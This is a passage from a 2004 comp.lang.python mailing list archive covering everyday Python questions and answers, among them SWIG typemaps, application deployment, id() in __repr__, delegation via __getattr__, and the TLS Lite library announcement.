>>> shape = [2, 3, 4]
>>> an_array = Numeric.reshape(an_array, shape)
>>> an_array
array([[[ 0,  1,  2,  3],
        [ 4,  5,  6,  7],
        [ 8,  9, 10, 11]],
       [[12, 13, 14, 15],
        [16, 17, 18, 19],
        [20, 21, 22, 23]]])
>>>





From mark at diversiform.com  Mon Feb  2 11:22:52 2004
From: mark at diversiform.com (mark)
Date: Mon, 2 Feb 2004 08:22:52 -0800
Subject: Deploying Python _Applications_
In-Reply-To: <4f0a9fdb.0402020353.8b2ea08@posting.google.com>
Message-ID: <006201c3e9a8$cf956d80$5501a8c0@markxp>

Seems to me the point of the question wasn't how to use distutils for
application deployment (which I don't think is what it was meant for),
but what else is out there.  To answer that, py2exe and Gordon
McMillian's Installer are available.  I can't say much more, as I'm
still puzzling out how to use them myself, but there are plenty of
people here to help.

http://starship.python.net/crew/theller/py2exe
http://www.mcmillan-inc.com/installer_dnld.html


- Mark

-----Original Message-----
From: python-list-bounces+mark=diversiform.com at python.org
[mailto:python-list-bounces+mark=diversiform.com at python.org] On Behalf
Of Miki Tebeka
Sent: Monday, February 02, 2004 3:54 AM
To: python-list at python.org
Subject: Re: Deploying Python _Applications_

Hello Sridhar,

> 1. Installtion prefix contants '/usr/ or /usr/local'
> 2. Some constants set during build (like 'HAVE_GTK2' in autoconf)
> 
> I searched the distutils documentation and seems to be distutils can't
> handle these.
> 
> Any thoughts?
You can write any code you like in the `setup.py' script.
I use a .ini file with all these parameters written at install time
(on M$ world NSIS is doing this). And then at run time the script load
the .ini file and run.

HTH.
Miki
-- 
http://mail.python.org/mailman/listinfo/python-list





From mhammond at skippinet.com.au  Wed Feb  4 02:43:35 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 04 Feb 2004 18:43:35 +1100
Subject: C Embedding problem, ImportError
In-Reply-To: <bvotqc$555$1@ousrvr3.oulu.fi>
References: <bvotqc$555$1@ousrvr3.oulu.fi>
Message-ID: <bvq7rc$krl$1@arachne.labyrinth.net.au>

Tero Pihlajakoski wrote:
> I'm trying to run some python scripts from a proggy of mine. Most of the
> time it works great, but I seem to be having problems with some
> modules. Here's what I get when I try importing math (applies to all
> .../lib-dynload/ modules, I guess):
> 
> ImportError: /usr/lib/python2.3/lib-dynload/math.so: undefined
> symbol: PyExc_OverflowError
> 
> Executing the same script from command-line works ok. What gives?
> I'm using python 2.3.2, and the file using the python/c is compiled
> invoking: 
> 
> gcc -o libabc.lib -shared -fpic lpython2.3 -lm abc.c
> 

I keep having this issue too, but am far from a Linux guru.  I *think* 
last time I solved it, it required an explicit dlopen() with RTLD_GLOBAL 
for libpythonxx.so.  This was required to map the symbols globally, so 
other extensions could use it (even though the main program itself does 
not need the dlopen().

If you find a better answer, please let me know :)

Mark.



From wweston at att.net  Thu Feb  5 10:17:56 2004
From: wweston at att.net (wes weston)
Date: Thu, 05 Feb 2004 15:17:56 GMT
Subject: Print function and spaces
In-Reply-To: <mailman.1237.1075981181.12720.python-list@python.org>
References: <mailman.1237.1075981181.12720.python-list@python.org>
Message-ID: <E8tUb.58111$6O4.1724369@bgtnsc04-news.ops.worldnet.att.net>



Dan Williams wrote:
> Hi people
> 
> I'm getting a little annoyed with the way the print function always adds a
> space character between print statements unless there has been a new line.
> The manual mentions that "In some cases it may be functional to write an
> empty string to standard output for this reason." Am I the only the who
> thinks that this sucks? It's the first thing I've come across in Python that
> I really think is a design flaw.
> 
> Is there a good way to stop the space being automatically generated, or am I
> going to have to write a blank string to standard output, like the manual
> mentions?
> 
> Cheers
> 
> Dan
> 
> 
> 
> 
Dan,
    'Does seem a little odd. There's often a good reason
for python "oddities". Usually, it's a matter of practicality.
Maybe it was thought that most intended uses of print are
better of with a space.

 >>> a="a"
 >>> b="b"
 >>> print "%s%s" % (a,b)
ab
 >>>



From lyle at users.sourceforge.net  Wed Feb 11 10:30:18 2004
From: lyle at users.sourceforge.net (Lyle Johnson)
Date: Wed, 11 Feb 2004 09:30:18 -0600
Subject: swig: conversion of C double to Python float
In-Reply-To: <5b42ae4.0402110214.60e7cee@posting.google.com>
References: <5b42ae4.0402110214.60e7cee@posting.google.com>
Message-ID: <402A4A8A.8040909@users.sourceforge.net>

Ernie wrote:

> Here is the swig file mvf.i:
>  %module mvf
>  %include "carrays.i"
>  %array_class(double, doubleArray);
>  %typemap(out) double, float "$result = PyFloat_FromDouble($1);"
>  %include mvf.h

<snip>

> What could have gone wrong?

You need to add a verbatim block near the top of your SWIG interface 
file, e.g.

	%module mvf

	%{
	#include "mvf.h"
	%}

	%include "carrays.i"
	%array_class(double, doubleArray);

	%include mvf.h

Otherwise, there's no declaration of SumSquares() in the SWIG-generated 
mvf_wrap.c file, and the compiler assumes that SumSquares() returns an 
int instead of a double. (You would see a warning about this if you 
added the -Wall flag to your compiler flags when compiling mvf_wrap.c). 
For more information on why this is needed, see the "Input format" 
section of the "SWIG Basics" chapter of the SWIG documentation:

	http://www.swig.org/Doc1.3/SWIG.html#n3

I've also removed the "out" typemap for double and float, since that's 
built in and doesn't need to be explicitly specified.

Hope this helps,

Lyle


From P at draigBrady.com  Tue Feb  3 07:46:20 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Tue, 03 Feb 2004 12:46:20 +0000
Subject: internationalisation/gettext - any sample (.MO) data available ?
In-Reply-To: <282f826a.0402021907.2266c6b4@posting.google.com>
References: <282f826a.0402021907.2266c6b4@posting.google.com>
Message-ID: <401F981C.8010709@draigBrady.com>

Richard Shea wrote:
> Hi - I'd like to try applying internationalisation techniques to get
> an idea of how much extra work is involved.
> 
> As a first step I'm looking at the class based gettext. I just
> wondered if anyone knew of some ready made .MO files I could use - I
> don't care what the subject matter is I just want something realistic
> to work with (I have tried googling but a search string with 'sample'
> and 'file' pulls up an awful lot of unrelated stuff).

You can use some of the existing system mo files
(assuming your on linux).
This gives an overview, including a method to
list the contents of a system mo file:
http://www.pixelbeat.org/docs/i18n.html

P?draig.



From invalid at hazen.net  Wed Feb 25 18:06:38 2004
From: invalid at hazen.net (John Hazen)
Date: Wed, 25 Feb 2004 15:06:38 -0800
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
In-Reply-To: <gu41xoljp92.fsf@ee.oulu.fi>
References: <mailman.0.1077567184.8594.python-list@python.org>
	<gu41xoljp92.fsf@ee.oulu.fi>
Message-ID: <20040225230638.GA1991@gate2.hazen.net>

* Erno Kuusela <erno-news at erno.iki.fi> [2004-02-23 17:38]:
> 
> of course typing EOF is the normal way to tell any unix stdio app to
> exit. but the EOF key depends on your tty settings and is set with
> stty. hardcoding ctrl-d is strictly speaking broken ;)

I'm not sure if you were implying that python does this...

I just tested it, and it's not hardcoded (2.3a2 darwin).

  lap:john$ stty eof ^A
  lap:john$ cat 
  nthoeu
  nthoeu
  < exited by typing ^A >
  lap:john$ python
  Python 2.3a2+ (#4, Mar  2 2003, 17:13:46) 
  [GCC 3.1 20020420 (prerelease)] on darwin
  Type "help", "copyright", "credits" or "license" for more information.
  >>> 
  < exited by typing ^A >
  lap:john$ 

So, another solution to the OP's problem is to change the EOF character
to something else.

-John
< my_first_name AT my_last_name DOT net >



From gerrit at nl.linux.org  Tue Feb 10 17:12:50 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Tue, 10 Feb 2004 23:12:50 +0100
Subject: hex(id(...)) and negative id's, 6 questions
In-Reply-To: <6DE50784-5A78-11D8-BC18-0003934ACDEC@zdome.net>
References: <20040207103754.GA4145@nl.linux.org>
	<6DE50784-5A78-11D8-BC18-0003934ACDEC@zdome.net>
Message-ID: <20040210221250.GA20834@nl.linux.org>

Dietrich Epp wrote:
> >However, since I upgraded to Fedora Core 1 and Linux Kernel
> >2.4.22-1.2163.nptl, id(obj) is usually negative. Why is it negative?
> 
> My guess is that it's due to changes in memory allocation.  It's 
> nothing to worry about.  Don't depend on the values returned by id(), 
> they depend on the OS, the version of Python, the type of the object, 
> and the phases of the moons of Saturn.  For instance, since I use OS X, 
> my id()s are very small (and they fit in short-term memory).

I don't depend on them, I just want to show them in hex in my __repr__,
so that I can see two objects are equal.

> Obj uses %p in it's __repr__ function, which is implemented in C, not 
> Python.  It doesn't even call id().
> 
> My question is why you implement __repr__, when you get object's 
> behavior for free.

Because I want to include more information.

My code really is:

    def __repr__(self):
        s = "<%s sprite(in %d groups) at %x pos=%s>"
        return s % (self.__class__.__name__, len(self.__g), \
                    id(self), self.rect.topleft)

...and the base class happens to define __repr__, which does not include
id(self). I want to be able to see in debugging code that a certain
sprite at pos (x1, y1) at frame N is the same as a certain sprite at
position (x2, y2) in frame M. id(self) seems ideal for that, until these
Warnings started (I now do abs(id(self)), which is ugly enough but gets
rid of the warning).

Any hints on getting this right? Parsing object.__repr__(self) is not
the best solution either ;-)

Gerrit.

-- 
Weather: 4??C  Tuesday 10 February 2004 21:25 Twenthe Netherlands
-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From jepler at unpythonic.net  Sun Feb 29 16:26:31 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 29 Feb 2004 15:26:31 -0600
Subject: How to use plugins..
In-Reply-To: <c1tj44$2fs$1@news.service.uci.edu>
References: <mailman.211.1077910497.8594.python-list@python.org>
	<c1tj44$2fs$1@news.service.uci.edu>
Message-ID: <20040229212630.GA4355@unpythonic.net>

On Sun, Feb 29, 2004 at 12:44:17PM -0800, Josiah Carlson wrote:
> use try and except liberally:

bad bad bad bad idea

try hitting ctrl-c while plugin.function is running, for instance.

Jeff



From maarten at remove_this_ws.tn.tudelft.nl  Wed Feb 11 02:56:59 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Wed, 11 Feb 2004 08:56:59 +0100
Subject: How to bound a method to a instance ?
References: <4026DC5D.591FB4FD@free.fr> <c079q4$ml7$00$1@news.t-online.com>
Message-ID: <c0cn8b$31u$1@news.tudelft.nl>

"Martin v. L?wis" wrote:

> Emmanuel wrote:
>> main module :
>> --------------
>> import toto
>> 
>> a = toto.toto()
>> a.method() -> does something ...
>> 
>> reload (toto)
>> now a is not reloaded...
>> 
>> a.method = toto.toto().method
>> does not work, because a.method would be bounded to a new instance...
> 
> It might be best to change the class of a:
> 
> reload (toto)
> a.__class__ = toto.toto

Thank you emmanuel for asking this question, I was wondering exactly the
same thing. Is it also possible to override the reload method to make it
(besides reloading) to scan through all namespaces for objects of class
toto.toto and replace their methods automatically? What would that code
look like?

Thanks, 

Maarten

-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From noah at noah.org  Sat Feb 21 12:03:21 2004
From: noah at noah.org (Noah)
Date: 21 Feb 2004 09:03:21 -0800
Subject: How do I access Python's dictionary of all global variables?
Message-ID: <c9d82136.0402210903.7cbf2335@posting.google.com>

I thought that Python has a builtin dictionary that associates
global variable names with their values. I have forgotten how to do this and
I can't seem to come up with the right search keywords to locate this secret
again. I'm trying to write a global dynamic variable debugger sort of thing.

So for example you could have code that looked something akin to this:
>>> x = 5
>>> y = "hello"
>>> z = [1,2,3]
>>> print __VARS__['x'], __VARS__['y'], __VARS__['z']
x hello [1, 2, 3]

Is it possible to iterate through all variables in all scopes in all objects?

Yours,
Noah


From maxwell at ldc.upenn.edu  Fri Feb 13 09:39:50 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Fri, 13 Feb 2004 09:39:50 -0500
Subject: building Python under Services for Unix (SFU)
Message-ID: <c0inji$68r$1@sea.gmane.org>

First, apologies if this is not the appropriate newsgroup (and let me know
what would be a better group).

I downloaded the Python 2.3.3, did the ./configure and make routine.
'configure' seems to run OK, but 'make' produces a large number of
errors, including "undefined reference to 'PyInt_FromLong'", "undefined
reference to 'PyErr_SetString'", and a host of others.  Clearly something is
wrong, but I'm not sure where to start.  One suggestion (which I got from a
similar posting on microsoft.public.servicesforunix.general) was that the
problem was that Python was creating a binary that exported all symbols to
extension modules, and that I would need to edit the configure.in file to
fix it.  Unfortunately, that gets beyond what I know how to do :-().  (I can
edit files, I just don't know what to change!)

Also, there appears to be an incompatibility between the version of
'install' in SFU and the one that the Python makefile expects: the latter
uses a '-d' parameter, which the SFU 'install' doesn't have.

There doesn't seem to be any info over at Python.org on compiling for SFU.

Has anyone succeeded in building Python in SFU?

(I am aware that there is a Windows version of Python.  But it expects the
Windows syntax for paths, not the Unix/SFU paths.  And for all I know there
are other incompatibilities as well.)

    Mike Maxwell
    maxwell at ldc dot upenn dot edu






From trevp at trevp.net  Fri Feb 20 08:24:13 2004
From: trevp at trevp.net (Trevor Perrin)
Date: Fri, 20 Feb 2004 05:24:13 -0800
Subject: ANN: TLS Lite 0.2.0
Message-ID: <5.2.0.9.0.20040220051746.03f181a8@pop.sbcglobal.yahoo.com>


Hi all,

I'd like to announce TLS Lite v0.2.0 (the first public release, despite 
appearances...).

TLS Lite is a pure-python, public domain SSL/TLS library.  It has minimal 
support for X.509 certificates, but focuses on up-and-coming authentication 
methods like SRP [1], shared-keys [2], and cryptoIDs [3].

These methods are easier to use than PKI.  They're also barely out of the 
oven - the first two are Internet-Drafts, and the last is something I made 
up.  It's fun stuff to mess with, but keep in mind that the drafts may 
change, and the code's alpha quality..

Other highlights:
  - SSL v3 and TLS v1 support
  - Pure python
    - with AES, throughput ~25 KB/sec, on a P4 1.7 Ghz
    - with RC4, throughput ~250 KB/sec
  - Can use cryptlib [4] or OpenSSL/M2crypto [5] for faster ciphers & math:
    - throughput ~6 MB/sec
  - Integrates with httplib and SocketServer framework


Home Page and Download
-----------------------
http://trevp.net/tlslite

Sourceforge (not much there, working on it..)
------------
http://sourceforge.net/projects/tlslite/

Mailing list
-------------
http://lists.sourceforge.net/lists/listinfo/tlslite-users



Feedback is much appreciated.

Thanks,
Trevor


[1] http://www.ietf.org/internet-drafts/draft-ietf-tls-srp-06.txt
[2] http://www.ietf.org/internet-drafts/draft-ietf-tls-sharedkeys-02.txt
[3] http://trevp.net/cryptoID
[4] http://www.cs.auckland.ac.nz/~pgut001/cryptlib/
[5] http://sandbox.rulemaker.net/ngps/m2/ 




From aahz at pythoncraft.com  Tue Feb 24 10:49:21 2004
From: aahz at pythoncraft.com (Aahz)
Date: 24 Feb 2004 10:49:21 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <c1frq1$ps9$1@panix1.panix.com>

In article <15c2d03b.0402240311.395f5382 at posting.google.com>,
Marco Aschwanden <PPNTWIMBXFFC at spammotel.com> wrote:
>
>*** Problem: Many builtins are not necessary
>
>Many builtins are not necessary. To name a few: min / max / len
>
>This functions should be defined on the class:
>
>["I", "like", "Python"].len()
>"I".len()
>{1:"I", "2":"like", 3:"Python"}.len()
>(1,2,3,4).len()
>
>"Throwing away" this builtins would flatten the alreay flat learning
>curve once more (you don't have to learn that many builtins) ... these
>functions belong to the class and they are naturally expected there.
>One weakness of a language as (Visual)Basic, PHP, ... is its payload
>of available functions... Python's OO helps here to diminish the need
>for lots of functions.

"Practicality beats purity"; if you're not familiar with that, start up
an interactive Python session and type "import this".

In this case, this means that Guido thinks that len() is such a common
usage that it works better as a function than a method.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From mgerrans at mindspring.com  Sun Feb 22 00:21:13 2004
From: mgerrans at mindspring.com (Matt Gerrans)
Date: Sun, 22 Feb 2004 05:21:13 GMT
Subject: Some source code
References: <d8778a53.0402212014.7a292318@posting.google.com>
Message-ID: <d%WZb.3324$yZ1.3267@newsread2.news.pas.earthlink.net>

I like the clever use of 'cptr' -- that would be silly in any language.




From adamba at gte.net  Tue Feb 24 10:56:12 2004
From: adamba at gte.net (Adam Barr)
Date: 24 Feb 2004 07:56:12 -0800
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<c1ev6d$o9h$1@news.service.uci.edu>
Message-ID: <ce782195.0402240756.73cf22eb@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c1ev6d$o9h$1 at news.service.uci.edu>...
> I'll send some real comments later (tomorrow or later this week).
> 
> I have the sense that your summary of Python, and the handful of other 
> languages I checked your descriptions of, are too elementary for an 
> experienced programmer to bother reading through.  I got around two 
> paragraphs in, then started reading a paragraph per page until I was 
> done with the Python version, with the same read-through of C and Perl.
> 
> I also notice that your liberal use of semicolons (such as comments in C 
> in the last paragraph) are confusing:
>    "Comments are denoted by //; everything after that on a line is..."
> 
> 
>   - Josiah

Thanks for the comments.

The target audience here is an experience programmer that doesn't know
Python at all. So I didn't want to assume they knew about indenting,
or how lists work, etc.

I agree that semi-colon in confusing! I'll check for that.

- adam


From no.mail at no.mail.it  Mon Feb  9 20:25:54 2004
From: no.mail at no.mail.it (robsom)
Date: Tue, 10 Feb 2004 01:25:54 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>	<pan.2004.02.08.14.03.15.475979@no.mail.it>	<m365ehplku.fsf@hamster.pflaesterer.de>
Message-ID: <pan.2004.02.10.01.05.20.183909@no.mail.it>


Sorry guys, I thank all of you, but I'm a beginner and my knowledge of
Python is not yet enough to follow you.

>>>> for line in s:
> ...print ','.join(map(lambda dat: dat != '-9999' and dat or '', line.split()))
> ... 

As far as I understand you are using a 'map' function to apply the
function "lambda dat: dat != '-9999' and dat or ''" to the elements
obtained with "line.split()".
First question: shouldn't it be split(line)?
Now, my book says that lambda works by applying (in this example) the
instructions in "dat != '-9999' and dat or ''" to the dat variable. Does
this mean that (I'm more or less guessing now) this code splits the line
assign each element to a dat variable which could have three types of
value (i.e. its "normal" value or -9999 or a space)? And then you use a
join functions to put again together the elements yolu have separated with
map with a comma as separator? And here I have a second question:
shouldn't it be "join(map(....),',')" instead of "','.join(map(...))"?

> I used here your -9999 as value of a mssing item.  Before you map that
> function across the splitted line you culd check for the correct length
> to see if you have e.g. like here always two coulmns.  If the length
> differs it depends if it's possible to find programmatically the missing
> column and just insert a space or something other.

Ok, but before going on, I'd like to know if I understand the code.
Probably I got it all wrong, but this is quite a few chapters beyond where
I am now in my book :)
Morevoer I wonder if it is possible to achieve the same thing  without
using the functional programming.

many thanks again

R


From christof.hoeke at e-7.com  Thu Feb  5 05:18:28 2004
From: christof.hoeke at e-7.com (christof.hoeke at e-7.com)
Date: Thu, 5 Feb 2004 11:18:28 +0100
Subject: save animated GIF with Python Image Library
Message-ID: <96849388D2102F40AEF198798540F2E105086E@gt1mail1.gt.da-ag.local>

hi,
how can i save an animated GIF with PIL. 
 
e.g. i like to rotate all frames of an image and tried the following:
 
im = Image.open('anim.gif')
for f in ImageSequence(im): #using the class from the PIL handbook
    if f:
        f = f.rotate(180)
im.save('animrotated.gif')
 
problem is that only one frame (i guess the last one) is saved.
i could not find any options for saving GIFs in the handbook.
 
can this be done at all?
 
thanks 
christof
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From rays at blue-cove.com  Sun Feb  1 04:48:33 2004
From: rays at blue-cove.com (RayS)
Date: Sun, 01 Feb 2004 01:48:33 -0800
Subject: Running External Programs from Within Python
In-Reply-To: <101p4l4p9o8sf14@corp.supernews.com>
References: <5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<mailman.1081.1075583900.12720.python-list@python.org>
	<bvhbr7$6rj$07$1@news.t-online.com>
Message-ID: <5.2.1.1.2.20040201011727.0b246d90@216.122.242.54>

Hi Cameron,

>Before we provide more details, though, you go
>first; specifically, are you thinking of your bi-directional
>pipe as a batch operation, or a programmatic one?

Interactive/programmatic...

>Do you
>know at the time you launch the Fortran-coded application
>all the input it'll need?

Usually not. It's a balance solution routine that requires some interaction 
from the engineers; the Fortran has a three layer menu, and produces both 
screen output and files. There is an intermediary result which has to be 
looked at by the user to decide on the final balance, otherwise I would 
change the code to just run from arg[] values.
One of its problems is that there is minimal error checking, and a bad 
input requires  the user to start over!
 From the popen() docs, it seemed as though Windows could not have both 
read and write ability over a pipe.

Ray




From and-google at doxdesk.com  Wed Feb 18 11:39:32 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 18 Feb 2004 08:39:32 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <2c60a528.0402180839.50410ffe@posting.google.com>

Andrew Koenig <ark at acm.org> wrote:

>     while:
>         x = foo()
>     and while x != 0:
>         bar(x)

This is the best syntax I've seen suggested so far. Tentatively +1
(shouldn't cause any parser difficulties should it?); the lack of new
keywords is a plus too.

> 'or while' -

>     while True:
>         if <condition 1>:
>             <statements 1>
>         elif <condition 2>:
>             <statements 2>

Shouldn't this logically be 'else while' then? 'or while' would imply to
me that there was fall-through from <statements 1> to <statements 2>. I
suppose 'else while' could cause confusion with Python's while...else
construct though.

Not sure this would see a lot of use; I can't think of the last time I used
a structure like that.

Here's another construct suggested by 'and while':

  if x is not None:
    x.connect()
    q= x.fetch()
  and if len(q)>=1:
    a= q[0]
  else:
    raise Foo() # one of the previous conditions was False

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From g2h5dqi002 at sneakemail.com  Wed Feb 11 22:14:47 2004
From: g2h5dqi002 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 12 Feb 2004 16:14:47 +1300
Subject: [OPINION] - does language really matter if they all do   the
 samething?
In-Reply-To: <mailman.726.1074923000.12720.python-list@python.org>
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>	<028FD9F0-4E01-11D8-BB78-0003934ACDEC@zdome.net>	<4011C497.1040302@prescod.net>
	<mailman.726.1074923000.12720.python-list@python.org>
Message-ID: <c0er3k$173hqr$1@ID-169208.news.uni-berlin.de>

Dietrich Epp wrote:
> In Objective C, I can create an object which doesn't respond to some 
> message "foo".  However, if I send "foo" to the object, it gets a chance 
> to respond.  In Python, there is no concept of messages.  You would have 
> to override the function that gets an object's attribute and create a 
> function for it to return.  You can capture function calls, but 
> capturing method calls is a two-step process in Python which requires a 
> little bit of magic to implement.

It's slightly more convoluted, but not all that bad:

   class Foo(object):

     def __getattr__(self, name):
       def f(*args, **kwds):
         return self.message_not_understood(name, *args, **kwds)
       return f

     def message_not_understood(self, name, *args, **kwds):
       # Do whatever you want here
       print self, "does not understand", name, args, kwds

If you use this a lot, you can put it in a small mixin class for
incorporating in your other classes. (That's something you couldn't
do in Smalltalk, btw -- multiple inheritance!)

> In Objective C:
> 
> - (void)forwardInvocation:(NSInvocation *)invocation
> {
>   if ([someOtherObject respondsToSelector:[invocation selector]])
>     [invocation invokeWithTarget:someOtherObject];
>   else
>     [self doesNotRecognizeSelector:[invocation selector]];
> }
> 
> In Python:
> 
> def __getattr__(self, name):
>     try:
>         return super(this_class, self).__getattr__(name)
>     except AttributeError:
>         try:
>             method = super(this_class, 
> self).some_other_object.__getattr(name)
>             if iscallable(method):
>                 return method
>         except:
>             pass
>         raise

Here you're thinking in terms of the Objective-C way of doing things
and trying to translate them too literally into Python. It's actually
much EASIER to do delegation in Python:

   def __getattr__(self, name):
     return getattr(some_other_object, name)

That's all you need!

> In Python you have to be careful because this won't normally capture 
> just method calls, but all attribute accesses.

Well, if that's a concern when delegating, you'll need to do a bit of
filtering in the __getattr__. But in many cases it's a feature -- you
can easily create a proxy that transparently wraps the whole interface
of another object, including both its attributes and methods.


> In a typical Objective-C 
> application you'll probably see a lot of places where the program sends 
> a message to an object only if the object responds to that message.  
> Let's compare.
> 
> In Objective C:
> 
> - (void)resetToDefaultSettings
> {
>   if ([delegate respondsToSelector:@selector(defaultSettingsFor:)])
>     [self setSettings:[delegate defaultSettingsFor:self]];
>   else
>     [self setSettings:someFallbackValue];
> }
> 
> In Python, first try:
> 
> def reset_settings(self):
>     try:
>         self.set_settings(self.delegate.default_settings(self))
>     except AttributeError:
>         self.set_settings(some_fallback_value)
> 
> But wait!  What if there is an error in self.delegate.default_settings() 
> which raises an AttributeError? 

I'd actually translate the Objective-C rather more literally in
this case:

   if hasattr(self.delegate, 'default_settings'):
     self.set_settings(self.delegate.default_settings(self))
   else:
     self.set_settings(some_fallback_value)

It might be a whisker slower, but doesn't suffer from the "catching the
wrong exception" problem, and (I think) is easier to read as well.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From max at alcyone.com  Thu Feb 19 04:10:29 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 19 Feb 2004 01:10:29 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<slrnc38nmb.3g8.joe@gate.notcharles.ca>
	<7xy8qzmrgd.fsf@ruckus.brouhaha.com>
Message-ID: <40347D85.85A7A91B@alcyone.com>

Paul Rubin wrote:

> What do you mean by "return value"?  Only functoins have return
> values.  It's just a value, not a return value.

You know very well what he means, you're just being difficult at this
point.

What you're suggesting has been proposed, time and time again.  And it
has been shot down, time and time again.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ I am a gentlemen: I live by robbing the poor.
    -- George Bernard Shaw


From lbates at swamisoft.com  Tue Feb 24 12:06:34 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 24 Feb 2004 11:06:34 -0600
Subject: Generating reports from database
References: <mailman.47.1077641402.8594.python-list@python.org>
Message-ID: <8qednfo6Jv0GGabd4p2dnA@comcast.com>

What platform (e.g. Windows/Linux, ...)

On Windows it is nearly impossible to write something better
than Crystal Reports or Active Reports programs.  They
are very flexible.

-Larry Bates


"Batista, Facundo" <FBatista at uniFON.com.ar> wrote in message
news:mailman.47.1077641402.8594.python-list at python.org...
> I'm searching some package that allows to, from a SQL query to a database,
> generate and send to printer and screen a report (sales detail, stock
> report, etc.).
>
> Somebody is doing something like this? Experiences?
>
> Thank you!
>
> . Facundo
>




From dw-google.com at botanicus.net  Fri Feb 13 17:17:46 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Fri, 13 Feb 2004 22:17:46 +0000
Subject: Reading from file up to arbitrary byte.
Message-ID: <402d4d14$0$10336$ed9e5944@reading.news.pipex.net>

Hello!

Is there a simple way of reading from a file object up to a specific 
byte value? I would like to do this without reading one character at a 
time, or reading in chunks and holding a remainder over.

Failing that, as a lightheartedly proposed extension, what do people 
think of:

	my_file.readline(line_terminator = "\x7f")
or
	my_file.line_terminator = "\x7f"


Does anyone know of a publically available subclass of file that would 
allow such, or similar behaviour?

Thanks,


David.



From kbk at shore.net  Sun Feb  8 15:26:15 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sun, 08 Feb 2004 20:26:15 GMT
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
Message-ID: <87ad3t71y1.fsf@hydra.localdomain>

Steve Horsley <shoot at the.moon> writes:

> At the risk of making a lot of python fans angry, I would also suggest
> that you look at java. This IS a compiled language (although
> ironically, the compiled bytecode is interpreted). 

Same as Python.

Actually, difference between an interpreter and a compiler is pretty
blurred.  Let's see: a compiler compiles to machine code which is 
interpreted by the microcode engine in the processor etc. ad infinitum.

> I suggest this for a few reasons: * You cannot really avoid thinking
> in an object-oriented way when writing java.

This is not an advantage.

> I suspect that python will allow you to develop some very nasyt
> habits.  

For example?  Surely you don't mean programming in a functional style
when that is optimal as opposed to always using objects?

> * The java tutorial is massive, and has loads of examples.  

This is not an advantage.  One of the features of Python is how simple
a relatively complete tutorial can be.

> * I have not seen anything like BlueJ for python. BlueJ is an
> excellent beginners IDE with editor, debugger, and a UML-like
> diagram that shows how your classes interconnect.

This is pretty cool.  It reminds me a lot of Python's IDLE in its
approach and target audience.  BlueJ's debugger is slightly more
capable than IDLE's is, and IDLE doesn't have the UML representation
of classes (though there is Bicycle Repair Man) which is deeply
integrated into BlueJ.  

I'll be looking more closely at this; thanks for the reference!
-- 
KBK


From tjreedy at udel.edu  Thu Feb 26 21:18:05 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 26 Feb 2004 21:18:05 -0500
Subject: naming convention for functions that mutate their arguments?
References: <c1lgcf$m00$1@aplcore.jhuapl.edu>
Message-ID: <c1m9ct$dh9$1@sea.gmane.org>


"mike p." <a at b.c> wrote in message news:c1lgcf$m00$1 at aplcore.jhuapl.edu...
> Hi all,
>
> I was wondering if there was any official/recommended way to denote that
a
> Python function may mutate one or more of its arguments?

The list mutation methods all return None to remind of this.  Otherwise,
read doc strings.

Terry J. Reedy






From nhodgson at bigpond.net.au  Thu Feb 12 15:38:24 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 12 Feb 2004 20:38:24 GMT
Subject: convert string with raw binary data to unicode
